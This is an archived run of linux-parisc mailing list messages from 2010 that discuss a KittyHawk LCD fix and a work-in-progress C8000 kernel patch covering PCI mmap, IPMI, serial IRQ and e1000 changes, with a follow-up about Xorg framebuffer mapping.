> I just got again a chance to boot up my b160L and 715/64 machines.
> 

I got my 712 hooked up (sadly my B180 has lost its hard disk and RTC,
but I can netboot it if I need to...) and I'll poke at this this
afternoon.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc : KittyHawk LCD fix
Date: Thu, 25 Nov 2010 13:17:57 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20101125181757.GJ22651@bombadil.infradead.org>
References: <20101106172429.5c3d1568@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1290709088 25577 80.91.229.12 (25 Nov 2010 18:18:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 25 Nov 2010 18:18:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 25 19:18:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PLgOO-0000eH-7i
	for glpp-linux-parisc@lo.gmane.org; Thu, 25 Nov 2010 19:18:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753985Ab0KYSR7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Nov 2010 13:17:59 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47946 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753882Ab0KYSR7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Nov 2010 13:17:59 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PLgOL-0002Jz-E3; Thu, 25 Nov 2010 18:17:57 +0000
Content-Disposition: inline
In-Reply-To: <20101106172429.5c3d1568@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3257
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3257>

On Sat, Nov 06, 2010 at 05:24:29PM +0100, Guy Martin wrote:
> 
> K class aka KittyHawk don't have LED support on their LCD. Installing
> HP-UX confirmed this. The current led_wq fills the LCD with black
> characters each time it runs.
> 
> The patch prevents the led_wq workqueue and its proc entry to be
> created for KittyHawk machines.
> 
> It also increase min_cmd_delay as currently, one character out of two
> is lost when a string is sent to the LCD.
> 
> Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>

Applied, thanks Guy.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: C8000 problems, WIP patch
Date: Fri, 26 Nov 2010 00:36:08 +0100
Lines: 335
Approved: news@gmane.org
Message-ID: <20101125233608.GA26896@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1290733600 30953 80.91.229.12 (26 Nov 2010 01:06:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 26 Nov 2010 01:06:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 26 02:06:36 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PLmln-0007oS-FP
	for glpp-linux-parisc@lo.gmane.org; Fri, 26 Nov 2010 02:06:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752950Ab0KZBGf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Nov 2010 20:06:35 -0500
Original-Received: from elvis.franken.de ([193.175.24.41]:58201 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752941Ab0KZBGe (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Nov 2010 20:06:34 -0500
X-Greylist: delayed 5417 seconds by postgrey-1.27 at vger.kernel.org; Thu, 25 Nov 2010 20:06:33 EST
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1PLlMN-00083M-00
	for linux-parisc@vger.kernel.org; Fri, 26 Nov 2010 00:36:15 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id EC7521D4B5; Fri, 26 Nov 2010 00:36:08 +0100 (CET)
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3258
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3258>

Hi,

I finally found some time to play with my C8000. I'm now able to use
the FireGL card with Xorg (fbdev only). Below is my current patch with
lots of ugly hacks.

Things to sort out:

1. What's the best way to get the right interrupts for the onboard
   serial interface ? My hack works for me, but I don't think this
   is acceptable.

2. Is the PCI_MMAP implementation correct ? If yes, I'd split it out
   and send it with a Signed-By. Newer Xorgs need pci_mmap...

3. Does anybody know why firmware returns wrong ranges for LBA LMMIO ?
   With the wrong ranges from PDC at least the LMMIO windows for
   the AGP bridge is too small to fit the ranges of the FireGL card.
   If my hack is acceptable, I'd also split it out and send it with
   a Signed-By.

4. IPMI code works with hacks, but I need to dig deeper to find a clean
   solution.

Patch is against 2.6.36-rc7-00124-g85a3318

Thomas.

diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index 2242a5c..2c51a63 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -263,4 +263,9 @@ static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 	return channel ? 15 : 14;
 }
 
+#define HAVE_PCI_MMAP
+
+extern int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+	enum pci_mmap_state mmap_state, int write_combine);
+
 #endif /* __ASM_PARISC_PCI_H */
diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index f48a640..3e4111f 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -1204,6 +1204,7 @@ static struct hp_hardware hp_hardware_list[] __devinitdata = {
 	{HPHW_FIO, 0x004, 0x00320, 0x0, "Metheus Frame Buffer"}, 
 	{HPHW_FIO, 0x004, 0x00340, 0x0, "BARCO CX4500 VME Grphx Cnsl"}, 
 	{HPHW_FIO, 0x004, 0x00360, 0x0, "Hughes TOG VME FDDI"}, 
+	{HPHW_FIO, 0x076, 0x000AD, 0x00, "Crestone Peak RS-232"},
 	{HPHW_IOA, 0x185, 0x0000B, 0x00, "Java BC Summit Port"}, 
 	{HPHW_IOA, 0x1FF, 0x0000B, 0x00, "Hitachi Ghostview Summit Port"}, 
 	{HPHW_IOA, 0x580, 0x0000B, 0x10, "U2-IOA BC Runway Port"}, 
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 9efd974..c4ff6eb 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -247,6 +247,33 @@ EXPORT_SYMBOL(pcibios_resource_to_bus);
 EXPORT_SYMBOL(pcibios_bus_to_resource);
 #endif
 
+int pci_mmap_page_range(struct pci_dev *dev, struct vm_area_struct *vma,
+			enum pci_mmap_state mmap_state, int write_combine)
+{
+	unsigned long prot;
+
+	/*
+	 * I/O space can be accessed via normal processor loads and stores on
+	 * this platform but for now we elect not to do this and portable
+	 * drivers should not do this anyway.
+	 */
+	if (mmap_state == pci_mmap_io)
+		return -EINVAL;
+
+	if (write_combine)
+		return -EINVAL;
+
+	/*
+	 * Ignore write-combine; for now only return uncached mappings.
+	 */
+	prot = pgprot_val(vma->vm_page_prot);
+	prot |= _PAGE_NO_CACHE;
+	vma->vm_page_prot = __pgprot(prot);
+
+	return remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
+		vma->vm_end - vma->vm_start, vma->vm_page_prot);
+}
+
 /*
  * pcibios align resources() is called every time generic PCI code
  * wants to generate a new address. The process of looking for
diff --git a/drivers/char/ipmi/ipmi_si_intf.c b/drivers/char/ipmi/ipmi_si_intf.c
index 7bd7c45..c168cac 100644
--- a/drivers/char/ipmi/ipmi_si_intf.c
+++ b/drivers/char/ipmi/ipmi_si_intf.c
@@ -1213,8 +1213,8 @@ static LIST_HEAD(smi_infos);
 static DEFINE_MUTEX(smi_infos_lock);
 static int smi_num; /* Used to sequence the SMIs */
 
-#define DEFAULT_REGSPACING	1
-#define DEFAULT_REGSIZE		1
+#define DEFAULT_REGSPACING	4
+#define DEFAULT_REGSIZE		4
 
 static int           si_trydefaults = 1;
 static char          *si_type[SI_MAX_PARMS];
@@ -1486,14 +1486,14 @@ static void intf_mem_outw(struct si_sm_io *io, unsigned int offset,
 
 static unsigned char intf_mem_inl(struct si_sm_io *io, unsigned int offset)
 {
-	return (readl((io->addr)+(offset * io->regspacing)) >> io->regshift)
+	return (__raw_readl((io->addr)+(offset * io->regspacing)) >> io->regshift)
 		& 0xff;
 }
 
 static void intf_mem_outl(struct si_sm_io *io, unsigned int offset,
 		     unsigned char b)
 {
-	writel(b << io->regshift, (io->addr)+(offset * io->regspacing));
+	__raw_writel(b << io->regshift, (io->addr)+(offset * io->regspacing));
 }
 
 #ifdef readq
@@ -2996,9 +2996,12 @@ static __devinitdata struct ipmi_default_vals
 	int port;
 } ipmi_defaults[] =
 {
+#if 0
 	{ .type = SI_KCS, .port = 0xca2 },
 	{ .type = SI_SMIC, .port = 0xca9 },
 	{ .type = SI_BT, .port = 0xe4 },
+#endif
+	{ .type = SI_KCS, .port = 0xfffffff0f05b0000 },
 	{ .port = 0 }
 };
 
@@ -3021,13 +3024,13 @@ static __devinit void default_find_bmc(void)
 		info->addr_source = SI_DEFAULT;
 
 		info->si_type = ipmi_defaults[i].type;
-		info->io_setup = port_setup;
-		info->io.addr_data = ipmi_defaults[i].port;
-		info->io.addr_type = IPMI_IO_ADDR_SPACE;
+		info->io_setup = mem_setup;
+		info->io.addr_data = 0xfffffff0f05b0000; // ipmi_defaults[i].port;
+		info->io.addr_type = IPMI_MEM_ADDR_SPACE;
 
 		info->io.addr = NULL;
-		info->io.regspacing = DEFAULT_REGSPACING;
-		info->io.regsize = DEFAULT_REGSPACING;
+		info->io.regspacing = 1; // DEFAULT_REGSPACING;
+		info->io.regsize = 1; // DEFAULT_REGSPACING;
 		info->io.regshift = 0;
 
 		if (add_smi(info) == 0) {
diff --git a/drivers/net/e1000/e1000_main.c b/drivers/net/e1000/e1000_main.c
index 5cc39ed..9964a66 100644
--- a/drivers/net/e1000/e1000_main.c
+++ b/drivers/net/e1000/e1000_main.c
@@ -935,7 +935,7 @@ static int __devinit e1000_probe(struct pci_dev *pdev,
 	e1000_reset_hw(hw);
 
 	/* make sure the EEPROM is good */
-	if (e1000_validate_eeprom_checksum(hw) < 0) {
+	if (0 && e1000_validate_eeprom_checksum(hw) < 0) {
 		e_err(probe, "The EEPROM Checksum Is Not Valid\n");
 		e1000_dump_eeprom(adapter);
 		/*
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index c768367..9e5901f 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -836,6 +836,68 @@ int iosapic_fixup_irq(void *isi_obj, struct pci_dev *pcidev)
 	return pcidev->irq;
 }
 
+static struct iosapic_info *first_isi = NULL;
+
+int iosapic_serial_irq(int num)
+{
+	struct iosapic_info *isi = first_isi;
+	struct irt_entry *irte = NULL;  /* only used if PAT PDC */
+	struct vector_info *vi;
+	int isi_line;	/* line used by device */
+
+	/* lookup IRT entry for isi/slot/pin set */
+	irte = &irt_cell[num];
+
+	DBG_IRT("iosapic_serial_irq(): irte %p %x %x %x %x %x %x %x %x\n",
+		irte,
+		irte->entry_type,
+		irte->entry_length,
+		irte->polarity_trigger,
+		irte->src_bus_irq_devno,
+		irte->src_bus_id,
+		irte->src_seg_id,
+		irte->dest_iosapic_intin,
+		(u32) irte->dest_iosapic_addr);
+	isi_line = irte->dest_iosapic_intin;
+
+	/* get vector info for this input line */
+	vi = isi->isi_vector + isi_line;
+	DBG_IRT("iosapic_serial_irq:  line %d vi 0x%p\n", isi_line, vi);
+
+	/* If this IRQ line has already been setup, skip it */
+	if (vi->irte)
+		goto out;
+
+	vi->irte = irte;
+
+	/*
+	 * Allocate processor IRQ
+	 *
+	 * XXX/FIXME The txn_alloc_irq() code and related code should be
+	 * moved to enable_irq(). That way we only allocate processor IRQ
+	 * bits for devices that actually have drivers claiming them.
+	 * Right now we assign an IRQ to every PCI device present,
+	 * regardless of whether it's used or not.
+	 */
+	vi->txn_irq = txn_alloc_irq(8);
+
+	if (vi->txn_irq < 0)
+		panic("I/O sapic: couldn't get TXN IRQ\n");
+
+	/* enable_irq() will use txn_* to program IRdT */
+	vi->txn_addr = txn_alloc_addr(vi->txn_irq);
+	vi->txn_data = txn_alloc_data(vi->txn_irq);
+
+	vi->eoi_addr = isi->addr + IOSAPIC_REG_EOI;
+	vi->eoi_data = cpu_to_le32(vi->txn_data);
+
+	cpu_claim_irq(vi->txn_irq, &iosapic_interrupt_type, vi);
+
+ out:
+
+	return vi->txn_irq;
+}
+
 
 /*
 ** squirrel away the I/O Sapic Version
@@ -902,6 +964,8 @@ void *iosapic_register(unsigned long hpa)
 		vip->irqline = (unsigned char) cnt;
 		vip->iosapic = isi;
 	}
+	if (!first_isi)
+		first_isi = isi;
 	return isi;
 }
 
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 3aeb327..3d185d0 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1025,6 +1025,7 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 			unsigned long end;	/* aka finish */
 		} *p, *io;
 		struct resource *r;
+		unsigned long lba_len;
 
 		p = (void *) &(pa_pdc_cell->mod[2+i*3]);
 		io = (void *) &(io_pdc_cell->mod[2+i*3]);
@@ -1039,6 +1040,13 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		case PAT_LMMIO:
 			/* used to fix up pre-initialized MEM BARs */
 			if (!lba_dev->hba.lmmio_space.start) {
+				lba_len = ~READ_REG32(lba_dev->hba.base_addr + LBA_LMMIO_MASK);
+				if ((p->end - p->start) != lba_len) {
+					printk(KERN_WARNING
+					       "PCI%02x LMMIO mismatch between PAT length and MASK register, fixing.\n",
+					       (int)lba_dev->hba.bus_num.start);
+					p->end = p->start + lba_len;
+				}
 				sprintf(lba_dev->hba.lmmio_name,
 						"PCI%02x LMMIO",
 						(int)lba_dev->hba.bus_num.start);
diff --git a/drivers/serial/8250_gsc.c b/drivers/serial/8250_gsc.c
index d8c0ffb..69d7a58 100644
--- a/drivers/serial/8250_gsc.c
+++ b/drivers/serial/8250_gsc.c
@@ -24,13 +24,17 @@
 
 #include "8250.h"
 
+static int num = 4;
+
+extern int iosapic_serial_irq(int);
+
 static int __init serial_init_chip(struct parisc_device *dev)
 {
 	struct uart_port port;
 	unsigned long address;
 	int err;
 
-	if (!dev->irq) {
+	if (0 && !dev->irq) {
 		/* We find some unattached serial ports by walking native
 		 * busses.  These should be silently ignored.  Otherwise,
 		 * what we have here is a missing parent device, so tell
@@ -43,6 +47,8 @@ static int __init serial_init_chip(struct parisc_device *dev)
 				(unsigned long long)dev->hpa.start);
 		return -ENODEV;
 	}
+	dev->irq = iosapic_serial_irq(num++);
+	printk("serial %d irq %d\n",num-1, dev->irq);
 
 	address = dev->hpa.start;
 	if (dev->id.sversion != 0x8d)
@@ -51,7 +57,8 @@ static int __init serial_init_chip(struct parisc_device *dev)
 	memset(&port, 0, sizeof(port));
 	port.iotype	= UPIO_MEM;
 	/* 7.272727MHz on Lasi.  Assumed the same for Dino, Wax and Timi. */
-	port.uartclk	= 7272727;
+	//port.uartclk	= 7272727;
+	port.uartclk	= 1843200;
 	port.mapbase	= address;
 	port.membase	= ioremap_nocache(address, 16);
 	port.irq	= dev->irq;
@@ -73,6 +80,7 @@ static struct parisc_device_id serial_tbl[] = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00075 },
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008c },
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008d },
+	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x000ad },
 	{ 0 }
 };
 
-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 problems, WIP patch
Date: Thu, 25 Nov 2010 22:50:36 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <AANLkTimS9j2O79WVM1_9C41shUx8J+H+V_dU_ftLRkfw@mail.gmail.com>
References: <20101125233608.GA26896@alpha.franken.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1290743471 29597 80.91.229.12 (26 Nov 2010 03:51:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 26 Nov 2010 03:51:11 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 26 04:51:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PLpKu-0006o2-EL
	for glpp-linux-parisc@lo.gmane.org; Fri, 26 Nov 2010 04:51:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752354Ab0KZDu6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Nov 2010 22:50:58 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:33152 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752346Ab0KZDu6 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Nov 2010 22:50:58 -0500
Original-Received: by bwz15 with SMTP id 15so1439075bwz.19
        for <linux-parisc@vger.kernel.org>; Thu, 25 Nov 2010 19:50:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:mime-version:received:in-reply-to
         :references:from:date:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=uqB59q+gD8clX0L4h3RKrtMhMeV57e46N8snDiYml3c=;
        b=A/XcH/dEPfiKljTgA5SnL3xpTcl9wrJXnbfb6FvBY/seE+qmrmwKmjV9cBSCLQ6K4z
         PPpkVeslRtvFVtLShEjSli6TAtnmxu4/h+xV7ZFcRMipqGlnFobkxPxMPr/yxcLoCEkH
         7OgTujGKaEtmKkOsgTHhGx7UvVzKPk0quypcg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type:content-transfer-encoding;
        b=KRxedIBbUNnu2dO+Ay2o+sKH6CE0BGtionwa1ZNG++Eq8NkGwpA9my91s93SvN4w/z
         GyRgK1evadSggeZCicWoxt8qs0TNNFuCJ8CSkr8ZdpE1J5R0JV53l33LHhHigVzUp6fv
         G3wYrrMP+2Ru1QzRBPEWYvtqaXLlM36MnK5JM=
Original-Received: by 10.204.23.193 with SMTP id s1mr1427087bkb.80.1290743457018; Thu,
 25 Nov 2010 19:50:57 -0800 (PST)
Original-Received: by 10.204.75.197 with HTTP; Thu, 25 Nov 2010 19:50:36 -0800 (PST)
In-Reply-To: <20101125233608.GA26896@alpha.franken.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3259
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3259>

On Thu, Nov 25, 2010 at 6:36 PM, Thomas Bogendoerfer
<tsbogend@alpha.franken.de> wrote:
> 2. Is the PCI_MMAP implementation correct ? If yes, I'd split it out
> =A0 and send it with a Signed-By. Newer Xorgs need pci_mmap...

With a FireGL, you should try radeon kernel modesetting. With KMS,
pci_mmap isn't needed, I think. But that's orthogonal.

Matt
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: C8000 problems, WIP patch
Date: Fri, 26 Nov 2010 11:35:37 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20101126103537.GA29629@alpha.franken.de>
References: <20101125233608.GA26896@alpha.franken.de> <AANLkTimS9j2O79WVM1_9C41shUx8J+H+V_dU_ftLRkfw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1290768081 23797 80.91.229.12 (26 Nov 2010 10:41:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 26 Nov 2010 10:41:21 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 26 11:41:17 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PLvjs-00047u-KG
	for glpp-linux-parisc@lo.gmane.org; Fri, 26 Nov 2010 11:41:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754632Ab0KZKky convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Nov 2010 05:40:54 -0500
Original-Received: from elvis.franken.de ([193.175.24.41]:35575 "EHLO elvis.franken.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754631Ab0KZKkx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Nov 2010 05:40:53 -0500
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1PLvjY-0002L0-00; Fri, 26 Nov 2010 11:40:52 +0100
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id D01D91D4B6; Fri, 26 Nov 2010 11:35:37 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <AANLkTimS9j2O79WVM1_9C41shUx8J+H+V_dU_ftLRkfw@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3260
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3260>

On Thu, Nov 25, 2010 at 10:50:36PM -0500, Matt Turner wrote:
> On Thu, Nov 25, 2010 at 6:36 PM, Thomas Bogendoerfer
> <tsbogend@alpha.franken.de> wrote:
> > 2. Is the PCI_MMAP implementation correct ? If yes, I'd split it ou=
t
> > =A0 and send it with a Signed-By. Newer Xorgs need pci_mmap...
>=20
> With a FireGL, you should try radeon kernel modesetting. With KMS,
> pci_mmap isn't needed, I think. But that's orthogonal.

this is not about mode settings, it's about how the Xorg xserver
maps framebuffer and registers. Xorg from lenny tries the old method,
which fails on the C8000 for some reason, I haven't understood, yet.
Xorg from sid only uses mapping of the pci node from sysfs, which uses
pci_mmap inside the kernel. And the current upstream parisc kernel
has not support for mapping via pci sysfs nodes.

Thomas.

--=20
Crap can work. Given enough thrust pigs will fly, but it's not necessar=
y a
good idea.                                                [ RFC1925, 2.=
3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFT] irq changes (was Re: [git] parisc: Changes to ref
 refs/heads/parisc)
Date: Mon, 29 Nov 2010 08:19:24 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20101129131924.GG15818@bombadil.infradead.org>
References: <201010140531.o9E5VRYK010123@hera.kernel.org>
 <20101014153931.GI24144@bombadil.infradead.org>
 <4CE04DCF.7040306@gmx.de>
 <20101124115642.GB22651@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1291036773 29270 80.91.229.12 (29 Nov 2010 13:19:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Nov 2010 13:19:33 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 29 14:19:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PN3df-0006Ql-7B
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Nov 2010 14:19:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753924Ab0K2NT0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Nov 2010 08:19:26 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47489 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753599Ab0K2NTZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Nov 2010 08:19:25 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PN3dc-00085e-Hv; Mon, 29 Nov 2010 13:19:24 +0000
Content-Disposition: inline
In-Reply-To: <20101124115642.GB22651@bombadil.infradead.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3261>

